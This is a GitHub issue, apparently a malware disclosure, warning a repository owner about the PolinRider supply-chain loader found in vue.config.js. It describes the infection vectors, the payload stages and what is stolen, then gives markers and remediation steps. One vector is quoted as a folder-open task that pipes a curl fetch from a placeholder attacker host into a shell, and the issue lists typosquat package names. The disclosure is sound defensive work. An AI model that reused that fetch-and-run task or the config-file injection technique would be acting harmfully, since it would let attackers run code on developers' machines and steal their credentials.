Skip to content

Security: This repository contains PolinRider malware (DPRK supply-chain attack) #1

Description

@6mile

Security Disclosure: This repository has been compromised

The repository khaliduddin/egg-picker has been identified as carrying the PolinRider payload — a confirmed DPRK-linked (Lazarus / Contagious Interview cluster) supply-chain attack that has compromised 1,951 GitHub repositories belonging to 1,047 owners as of April 2026.

This is not spam. This disclosure is from the OpenSourceMalware.com research team. Full writeup: PolinRider Rides Again (2026-04-11).

Where the malware is in your repository

We found the PolinRider obfuscated JavaScript loader in the following file(s):

  • vue.config.js — contains global['_V'] marker (6,378 bytes). The malicious loader has been appended after the legitimate config export.

The loader has been appended to a config file so that it runs every time any developer installs or builds your project (e.g. npm install, npm run build, any Next.js / Vite / Webpack tooling that imports the config). Anyone who has cloned your repo since the compromise date and run standard tooling against it should be treated as a potential victim.

How the PolinRider attack works

PolinRider is a DPRK / Lazarus-aligned supply chain campaign that merges the previously-separate TasksJacker and Contagious Interview clusters. It uses four known infection vectors, any of which can land the same obfuscated JavaScript loader on a developer's machine:

  1. Malicious npm package ⟶ config-file injection. The attackers publish typosquats of tailwindcss-animate and similar plugins (e.g. tailwindcss-style-animate, tailwind-mainanimation, tailwindcss-typography-style). When npm install-ed, the postinstall hook appends obfuscated JavaScript after export default / module.exports in postcss.config.mjs, tailwind.config.js, eslint.config.mjs, next.config.mjs, babel.config.js, and similar config files. This is the vector that compromised your repo.
  2. .vscode/tasks.json curl-pipe-to-shell. A runOn: folderOpen task executes curl https://<attacker>.vercel.app/settings/mac | sh the instant the victim opens the project in VS Code.
  3. Fake .woff2 fonts. Malicious JavaScript is hidden inside files named like public/fonts/fa-solid-400.woff2 so security tooling skips them as binary assets. Executed via Node from another entry point.
  4. Weaponized fake take-home tests (Contagious Interview). The attackers run fake recruiters offering fake "developer interview" take-home projects (confirmed templates: ShoeVista and StakingGame) that bundle one of the above vectors as their build dependencies.

What the payload does once it runs

The injected JavaScript is a 4-layer shuffle-cipher loader. When executed (e.g. during npm install or npm run build):

  1. Stage 1 — Decrypt and fetch. Layer-by-layer decodes itself using two hardcoded XOR keys, then reaches out to blockchain dead drops on TRON, Aptos, and BSC (e.g. TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP) to fetch the encrypted second stage. Blockchain storage is used because it can't be taken down.
  2. Stage 2 — Beavertail loader. A known Lazarus-family JavaScript stager that fingerprints the host OS (macOS / Linux / Windows) and selects the OS-specific third stage.
  3. Stage 3 — InvisibleFerret. A cross-platform RAT that steals:
    • Browser credentials and session cookies (Chrome, Firefox, Edge, Brave, Arc)
    • SSH private keys and ~/.ssh/authorized_keys
    • Environment variables (AWS / GCP / npm / GitHub tokens)
    • Cryptocurrency wallet files (MetaMask, Phantom, Keplr, native .wallet files)
    • Shell history, clipboard contents, and keystrokes (Windows variant)
  4. Stage 4 — Cover tracks. On Windows, a script called temp_auto_push.bat rewrites the most recent git commit to preserve its original timestamp, bypasses pre-commit hooks, and force-pushes — making the compromise look like a normal commit in the git log.

Known markers (so you can verify)

Marker Where it appears Variant
rmcej%otb% string literal inside the loader original
_$_1e42 decoder function name original
global['!'] global slot used by decoder original
Cot%3t=shtP string literal inside the loader new (April 2026)
function MDy(f) decoder function name new
global['_V'] global slot used by decoder new
LAST_COMMIT_DATE in a .bat file propagation / cover-tracks both
temp_auto_push.bat at repo root propagation / cover-tracks both

Scale of the campaign

Confirmed compromised repos (April 2026) 1,951
Unique repo owners affected 1,047
False-positive rate (random-sample verification) 0 / 44
Distinct infection vectors 4
Distinct C2 subdomains on Vercel 6+
Distinct obfuscator variants 2 (rotated April 2026)

Immediate remediation steps

  1. Identify every file in your repo that matches any of the markers above:
    grep -rE "rmcej%otb%|_\$_1e42|global\['!'\]|Cot%3t=shtP|function MDy|global\['_V'\]" . \
        --include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts'
    find . \( -name 'temp_auto_push.bat' -o -name 'config.bat' \)
    find . \( -name '*.woff' -o -name '*.woff2' \) -exec sh -c \
        'file "$1" | grep -q "JavaScript\|ASCII text" && echo "SUSPICIOUS: $1"' _ {} \;
  2. Remove the injected code from each affected file. For PostCSS / Tailwind / ESLint configs, the malicious code has been appended after export default / module.exports — delete everything after the legitimate config object.
  3. Force-push to rewrite history so the malicious commits are no longer reachable on the default branch. Consider rotating the branch protection rules if any commits were merged through them.
  4. Rotate every credential that was present on any machine that ran npm install / npm run build against this repo since the compromise date. This includes: GitHub PATs, SSH keys, .env contents, AWS / GCP / npm tokens, signing keys, browser password-store entries, crypto-wallet seed phrases.
  5. Scan your own machine for InvisibleFerret artifacts. On Windows: look for unexpected scheduled tasks, registry Run keys, and processes matching known InvisibleFerret signatures. On macOS/Linux: check ~/.ssh/authorized_keys, crontab, launchd agents / systemd user services, and shell history for entries you don't recognize.
  6. Check your package.json for any of the known malicious typosquats:
    tailwindcss-style-animate, tailwind-mainanimation, tailwind-autoanimation,
    tailwind-animationbased, tailwindcss-typography-style, tailwindcss-style-modify,
    tailwindcss-animate-style
    
    Remove any that appear. Clear node_modules and package-lock.json and reinstall from clean dependencies only.
  7. Re-scan your whole project tree with the OSM scanner:
    git clone https://github.com/OpenSourceMalware/PolinRider
    cd PolinRider && chmod +x polinrider-scanner.sh
    ./polinrider-scanner.sh ~/projects

Further reading


Disclosed by the OpenSourceMalware.com research team.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions